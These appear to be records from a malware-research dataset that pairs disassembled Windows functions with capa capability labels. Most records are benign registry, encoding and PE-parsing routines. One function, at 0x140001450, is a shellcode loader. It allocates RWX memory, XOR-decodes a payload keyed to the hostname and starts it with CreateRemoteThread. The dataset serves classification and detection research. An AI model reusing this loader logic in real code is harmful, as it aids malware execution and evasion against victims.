joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002a76c
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x60
mov rdi, rdx
and dword [rsp + 0x70], 0
lea rax, [r11 + 8]
mov qword [r11 - 0x38], rax
and qword [r11 - 0x40], 0
and qword [r11 - 0x48], 0
mov ebx, 2
mov r9d, ebx
lea r8, str.Region
lea rdx, [0x14003e840]
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegGetValueW]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
jns 0x14002a7d8
mov eax, ecx
jmp 0x14002a8e2
xor eax, eax
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov edx, dword [rsp + 0x70]
test rdx, rdx
je 0x14002a800
lea rcx, [rsp + 0x40]
call fcn.14002b190
mov rax, qword [rsp + 0x40]
lea r10, [rsp + 0x70]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
mov r9d, ebx
lea r8, str.Region
lea rdx, [0x14003e840]
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegGetValueW]
nop dword [rax + rax]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
jns 0x14002a887
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14002a883
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov r8, rcx
cmp rdx, 0x1000
jb 0x14002a87e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x14002a8c8
call fcn.140034780
mov eax, ebx
jmp 0x14002a8e2
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
call fcn.140020130
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14002a8da
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a8d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a8d5
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__invalid_parameter_noinfo_noreturn]
nop dword [rax + rax]
int3
call fcn.140034780
mov eax, ebx
jmp 0x14002a8e2
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x14002a8f4
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x50], 4
lea rax, [r11 + 8]
mov qword [r11 - 0x18], rax
mov qword [r11 - 0x20], rdx
and qword [r11 - 0x28], 0
mov r9d, 0x10
lea r8, str.TelemetryIntervalOverride
lea rdx, [0x14003e840]
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegGetValueW]
nop dword [rax + rax]
mov ecx, eax
movzx eax, ax
or eax, 0x80070000
test ecx, ecx
cmovle eax, ecx
jmp 0x14002a954
add rsp, 0x48
ret
Function at 0x14002a960
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov dword [r11 + 0x20], r9d
push rdi
sub rsp, 0x30
and qword [r11 + 8], 0
lea rax, [r11 + 8]
mov rdi, rdx
mov qword [r11 - 0x18], rax
mov rdx, qword [rcx]
mov rbx, r8
mov rcx, 0xffffffff80000002
mov r9d, 0x20119
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
je 0x14002a9ad
mov edx, 0x2c
jmp 0x14002a9df
mov rdx, qword [rdi]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
je 0x14002a9f7
mov edx, 0x2d
mov rcx, qword [rsp + 0x38]
lea r8, str.onecore_amcoreoctagon_broker_sourcelib_reghelpers.cpp
mov r9d, eax
call fcn.140018bcc
mov ebx, eax
jmp 0x14002a9f9
xor ebx, ebx
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14002aa0f
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14002b364
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14004ba88]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rcx
mov qword [rbp - 0x30], rcx
xor r14d, r14d
mov dword [rbp - 0x50], r14d
mov qword [rcx + 0x18], r14
mov qword [rcx + 0x20], 7
mov word [rcx + 8], r14w
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
lea ecx, [r14 + 0xc]
call fcn.140034480
mov rdx, rax
mov qword [rbp - 0x48], rax
add rax, 0xc
mov qword [rbp - 0x38], rax
xor ecx, ecx
mov qword [rdx], rcx
mov dword [rdx + 8], ecx
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x50], 1
lea r9d, [r14 + 2]
lea r8d, [r14 + 0xc]
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
nop dword [rax + rax]
mov rcx, qword [rbp + 8]
test eax, eax
js 0x14002b48e
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.14002be6c
mov rdx, rax
lea rcx, [rbx + 8]
call fcn.140020d68
lea rcx, [rbp - 0x28]
call fcn.140006420
mov dword [rbx], r14d
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14002b468
mov rdx, qword [rbp - 0x38]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b462
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b462
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__invalid_parameter_noinfo_noreturn]
nop dword [rax + rax]
int3
call fcn.140034780
nop
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400342a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov r9d, eax
call fcn.140033994
int3
Function at 0x14002be6c
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
xor r9d, r9d
mov dword [rax - 0x48], r9d
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], 7
mov word [rcx], r9w
mov dword [rax - 0x48], 1
mov rbx, qword [rdx]
mov rsi, qword [rdx + 8]
sub rsi, rbx
cmp rsi, 0x7fffffff
ja 0x14002c0d0
test esi, esi
jle 0x14002c0aa
movabs r10, 0x7ffffffffffffffe
lea r11, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov r8b, r9b
mov dl, r9b
movzx ecx, byte [rbx]
inc rbx
cmp esi, 1
jle 0x14002befc
mov r8b, byte [rbx]
inc rbx
cmp esi, 2
jle 0x14002befc
mov dl, byte [rbx]
inc rbx
mov rax, rcx
shr rax, 2
mov al, byte [rax + r11]
mov byte [rsp + 0x80], al
movzx eax, r8b
shr rax, 4
shl rcx, 4
or rax, rcx
and eax, 0x3f
mov al, byte [rax + r11]
mov byte [rsp + 0x81], al
movzx edx, dl
cmp esi, 1
jle 0x14002bf4d
mov ecx, edx
shr rcx, 6
movzx eax, r8b
shl rax, 2
or rcx, rax
and ecx, 0x3f
mov al, byte [rcx + r11]
jmp 0x14002bf4f
mov al, 0x3d
mov byte [rsp + 0x82], al
cmp esi, 2
jle 0x14002bf64
and edx, 0x3f
mov al, byte [rdx + r11]
jmp 0x14002bf66
mov al, 0x3d
mov byte [rsp + 0x83], al
mov r13, r9
movsx ecx, byte [rsp + r13 + 0x80]
mov r14, qword [rdi + 0x10]
mov r15, qword [rdi + 0x18]
cmp r14, r15
jae 0x14002bfaa
lea rax, [r14 + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp r15, 8
jb 0x14002bf9a
mov rax, qword [rdi]
mov word [rax + r14*2], cx
mov word [rax + r14*2 + 2], r9w
jmp 0x14002c092
mov rax, r10
sub rax, r14
cmp rax, 1
jb 0x14002c0d6
lea rbp, [r14 + 1]
or rbp, 7
cmp rbp, r10
jbe 0x14002bfcc
mov rbp, r10
jmp 0x14002bfe8
mov rcx, r15
shr rcx, 1
mov rax, r10
sub rax, rcx
cmp r15, rax
ja 0x14002bfc7
lea rax, [rcx + r15]
cmp rbp, rax
cmovb rbp, rax
lea rdx, [rbp + 1]
call fcn.140006a68
mov r12, rax
lea rax, [r14 + 1]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rbp
add r14, r14
mov r8, r14
mov rcx, r12
cmp r15, 8
jb 0x14002c066
mov rbp, qword [rdi]
mov rdx, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
movsx eax, byte [rsp + r13 + 0x80]
mov word [r12 + r14], ax
xor eax, eax
mov word [r12 + r14 + 2], ax
lea rdx, [r15*2 + 2]
cmp rdx, 0x1000
jb 0x14002c059
add rdx, 0x27
mov rcx, qword [rbp - 8]
sub rbp, rcx
lea rax, [rbp - 8]
cmp rax, 0x1f
ja 0x14002c0c3
mov rbp, rcx
mov rcx, rbp
call fcn.140034780
xor r9d, r9d
jmp 0x14002c085
mov rdx, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
movsx eax, byte [rsp + r13 + 0x80]
mov word [r12 + r14], ax
xor r9d, r9d
mov word [r12 + r14 + 2], r9w
movabs r10, 0x7ffffffffffffffe
mov qword [rdi], r12
inc r13
cmp r13, 4
jb 0x14002bf70
sub esi, 3
test esi, esi
jg 0x14002bed4
mov rax, rdi
mov rbx, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__invalid_parameter_noinfo_noreturn]
nop dword [rax + rax]
int3
call fcn.14002b33c
int3
call fcn.140006c68
int3
Function at 0x140031758
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rdx
mov rbp, rcx
movabs r8, 0xcbf29ce484222325
xor r9d, r9d
movzx eax, byte [r9 + rdx]
xor r8, rax
movabs rcx, 0x100000001b3
imul r8, rcx
inc r9
cmp r9, 4
jb 0x140031784
mov rdx, qword [rbp + 0x30]
and rdx, r8
add rdx, rdx
mov r8, qword [rbp + 0x18]
mov rax, qword [r8 + rdx*8]
lea rsi, [rbp + 8]
mov rbx, qword [rsi]
cmp qword [r8 + rdx*8], rbx
jne 0x1400317c7
mov rcx, rbx
jmp 0x1400317cf
mov rcx, qword [r8 + rdx*8 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x1400317e6
mov ecx, dword [r14]
cmp dword [rax + 0x10], ecx
je 0x1400317e1
mov rax, qword [rax]
jmp 0x1400317bc
mov rcx, rax
jmp 0x1400317ec
mov rax, rbx
mov rcx, rbx
cmp rcx, rbx
jne 0x14003186a
mov rbx, qword [rbx]
movabs rax, 0x7ffffffffffffff
cmp qword [rsi + 8], rax
jne 0x140031818
lea rcx, str.list_T__too_long
call qword [sym.imp.msvcp_win.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
nop dword [rax + rax]
int3
mov rdi, qword [rbx + 8]
mov qword [rsp + 0x20], rsi
and qword [rsp + 0x28], 0
mov ecx, 0x20
call fcn.140034480
mov ecx, dword [r14]
mov dword [rax + 0x10], ecx
and qword [rax + 0x18], 0
mov qword [rax], rbx
mov qword [rax + 8], rdi
inc qword [rsi + 8]
mov qword [rbx + 8], rax
mov qword [rdi], rax
mov rax, qword [rsi]
mov r9, qword [rax]
lea r8, [r9 + 0x10]
lea rdx, [rsp + 0x20]
mov rcx, rbp
call fcn.140031950
mov rax, qword [rsp + 0x20]
add rax, 0x18
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140031950
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x30
mov rbx, r9
mov r11, r8
mov rsi, rdx
mov r9, rcx
movabs rcx, 0xcbf29ce484222325
xor edx, edx
movzx eax, byte [rdx + r11]
xor rcx, rax
movabs r8, 0x100000001b3
imul rcx, r8
inc rdx
cmp rdx, 4
jb 0x140031980
mov r8, qword [r9 + 0x30]
and r8, rcx
mov r10, r8
add r10, r10
mov rcx, qword [r9 + 0x18]
mov rdi, qword [r9 + 8]
cmp rdi, qword [rcx + r10*8]
je 0x140031a09
mov rdi, qword [rcx + r10*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rcx + r10*8]
je 0x140031a09
mov rdi, qword [rdi + 8]
mov eax, dword [rdi + 0x10]
cmp dword [r11], eax
jne 0x1400319c2
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov edx, 0x20
mov rcx, rbx
call fcn.140034780
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x140031aa0
mov rax, qword [rbx]
cmp rdi, rax
je 0x140031a3e
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8]
add r8, r8
cmp rax, qword [r9 + 8]
jne 0x140031a5e
mov qword [rdx + r8*8], rbx
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x140031a8d
cmp rax, rdi
jne 0x140031a69
mov qword [rdx + r8*8], rbx
jmp 0x140031a8d
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x140031a8d
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r10*8 + 8], rcx
mov rcx, r9
call fcn.140031ab8
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140031cd0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r9, rcx
mov rdi, rdx
movabs rcx, 0xcbf29ce484222325
xor r10d, r10d
movzx eax, byte [r8 + r10 + 0x10]
movabs rdx, 0x100000001b3
xor rcx, rax
inc r10
imul rcx, rdx
cmp r10, 4
jb 0x140031ced
mov rdx, qword [r9 + 0x30]
and rdx, rcx
mov rcx, qword [r9 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], r8
jne 0x140031d45
cmp qword [rcx + rdx*8], r8
jne 0x140031d3a
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x140031d3e
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140031d52
cmp qword [rcx + rdx*8], r8
jne 0x140031d52
mov rax, qword [r8]
mov qword [rcx + rdx*8], rax
mov rax, qword [r8 + 8]
mov edx, 0x20
mov rbx, qword [r8]
mov qword [rax], rbx
mov rcx, qword [r8]
mov rax, qword [r8 + 8]
mov qword [rcx + 8], rax
mov rcx, r8
dec qword [r9 + 0x10]
call fcn.140034780
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400342c8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14004c350], eax
call fcn.140034d70
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x14004c350], 0
jne case.default.0x14003431e
mov ecx, 1
call fcn.140034d70
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
adc eax, dword [rbx + 0x19]
invalid
Function at 0x140002070
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
mov rsi, rdx
test rdx, rdx
je 0x1400020b9
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
mov edx, 1
mov r9, rax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
je 0x1400020cc
add rdi, rax
sub rbx, rax
jne 0x140002090
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140003c2c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003c76
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003c76
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003c76
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003c76
cmp dword [rcx + 0x84], 0xe
jbe 0x140003c76
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003c78
xor al, al
add rsp, 0x28
ret
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create thread
Get hostname
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
mov esi, r9d
mov rdi, r8
mov r14, rdx
mov r12, rcx
mov ecx, dword [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 0x40
xor r15d, r15d
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8, r14
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140001676
mov rbx, rax
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rbx
mov r8, r12
mov r9, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400015a3
mov dword [rsp + 0x44], 0x100
xorps xmm0, xmm0
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0x44]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
test r14, r14
je 0x140001627
cmp r14, 1
jne 0x1400015ab
xor ecx, ecx
test r14b, 1
je 0x140001627
mov r8d, dword [rsp + 0x44]
mov rax, rcx
shr rax, 0x20
je 0x140001618
mov rax, rcx
xor edx, edx
div r8
jmp 0x14000161f
xor r15d, r15d
jmp 0x140001676
mov r8, r14
and r8, 0xfffffffffffffffe
xor ecx, ecx
jmp 0x1400015d7
xor edx, edx
div r9
movzx eax, byte [rsp + rdx + 0x50]
xor byte [rbx + rcx + 1], al
add rcx, 2
cmp r8, rcx
je 0x140001581
mov r9d, dword [rsp + 0x44]
mov rax, rcx
shr rax, 0x20
je 0x1400015f0
mov rax, rcx
xor edx, edx
div r9
jmp 0x1400015f7
mov eax, ecx
xor edx, edx
div r9d
movzx eax, byte [rsp + rdx + 0x50]
xor byte [rbx + rcx], al
lea rax, [rcx + 1]
mov r9d, dword [rsp + 0x44]
mov rdx, rax
shr rdx, 0x20
jne 0x1400015c0
xor edx, edx
div r9d
jmp 0x1400015c5
mov eax, ecx
xor edx, edx
div r8d
movzx eax, byte [rsp + rdx + 0x50]
xor byte [rbx + rcx], al
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea r9, [0x140001440]
xor r15d, r15d
mov rcx, 0xffffffffffffffff
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rdi], rax
test rax, rax
je 0x140001676
test esi, esi
je 0x140001673
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, rbx
mov rax, r15
add rsp, 0x158
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140001a10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002850
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002850
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1405c70a4]
mov rbx, rcx
test esi, esi
jle 0x140001bb0
mov rax, qword [0x1405c70a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001acb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ab0
mov rcx, rbx
call fcn.1400024f0
mov rdi, rax
test rax, rax
je 0x140001bd2
mov rax, qword [0x1405c70a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002630
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1405c70a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b4e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b60
add dword [0x1405c70a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1405c70a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001a10
nop dword [rax]
xor esi, esi
jmp 0x140001ad8
mov rax, qword [0x1405c70a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001a10
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001a10
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002160
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1405c7100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1405c70e0]
test rbx, rbx
je 0x1400021bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400021b3
test eax, eax
jne 0x1400021b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002198
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1405c4360]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002510
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002518
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002510
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000256d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002564
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002510
add rax, 0x28
cmp rax, r9
jne 0x140002550
xor eax, eax
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1405c4360]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002598
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000258f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1405c4360]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000264f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002658
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret